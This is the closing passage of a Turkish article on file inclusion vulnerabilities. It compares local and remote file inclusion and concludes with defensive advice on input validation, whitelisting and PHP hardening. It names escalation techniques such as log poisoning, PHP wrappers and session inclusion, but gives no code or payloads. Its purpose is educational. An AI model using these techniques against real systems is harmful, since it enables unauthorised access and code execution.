Yaygınlık: 🔸 LFI → Daha yaygın 🔸 RFI → Daha az yaygın (modern PHP'de allow_url_include varsayılan kapalı)

Etkilenen Diller: 🔸 LFI → PHP, Node.js, Java (JSP), Python, ASP.NET ve diğerleri 🔸 RFI → Ağırlıklı olarak PHP (diğer dillerde farklı mekanizmalarla ortaya çıkabilir)

Gerekli PHP Ayarı: 🔸 LFI → Özel bir ayar gerekmez 🔸 RFI → allow_url_include = On ve allow_url_fopen = On gerekir

Saldırı Yöntemi: 🔸 LFI → Directory traversal, PHP wrapper'ları, log poisoning, session inclusion 🔸 RFI → Uzak sunucudan zararlı dosya dahil etme

Directory Traversal: 🔸 LFI → Evet, yaygın olarak kullanılır 🔸 RFI → Hayır, dosya URL ile dahil edilir

SONUÇ

File Inclusion zafiyetleri (LFI ve RFI), web uygulamalarında hâlâ sıkça karşılaşılan ve ciddi sonuçlara yol açabilen güvenlik açıklarıdır. Her ne kadar PHP ile en yaygın şekilde ilişkilendirilse de, bu yazıda gördüğümüz gibi Node.js, Java (JSP), Python ve SSI gibi farklı teknolojilerde de benzer zafiyetler ortaya çıkabilir. Ortak nokta her zaman aynıdır: kullanıcıdan gelen girdiye güvenmek ve bu girdiyi doğrulamadan dosya işleme fonksiyonlarına aktarmak.

Basit bir girdi doğrulama hatası, saldırganın sunucudaki hassas dosyaları okumasına, veritabanı şifrelerine erişmesine, kaynak kodları ele geçirmesine ve hatta log poisoning veya PHP wrapper'ları gibi tekniklerle sisteme tam erişim sağlamasına kadar uzanabilir.

Bu tür zafiyetlerin önüne geçmek için geliştirme aşamasından itibaren güvenli kodlama pratiklerine dikkat etmek, kullanıcı girdilerini asla güvenmeden doğrulamak, whitelist yaklaşımını benimsemek, PHP yapılandırmasını sıkılaştırmak ve çok katmanlı bir savunma stratejisi uygulamak büyük önem taşımaktadır.

Sızma testi uzmanları açısından ise File Inclusion, hedef sistemde bilgi toplama ve erişim sağlama sürecinde çok değerli bir saldırı vektörüdür. Özellikle LFI zafiyetini RCE'ye yükseltme teknikleri (log poisoning, PHP wrapper'ları, session file inclusion) sızma testlerinde sıklıkla başvurulan yöntemlerdir.

Doğru yapılandırılmış bir sistem ve güvenli kodlama alışkanlıkları, bu tür saldırıların önündeki en güçlü savunma hattıdır.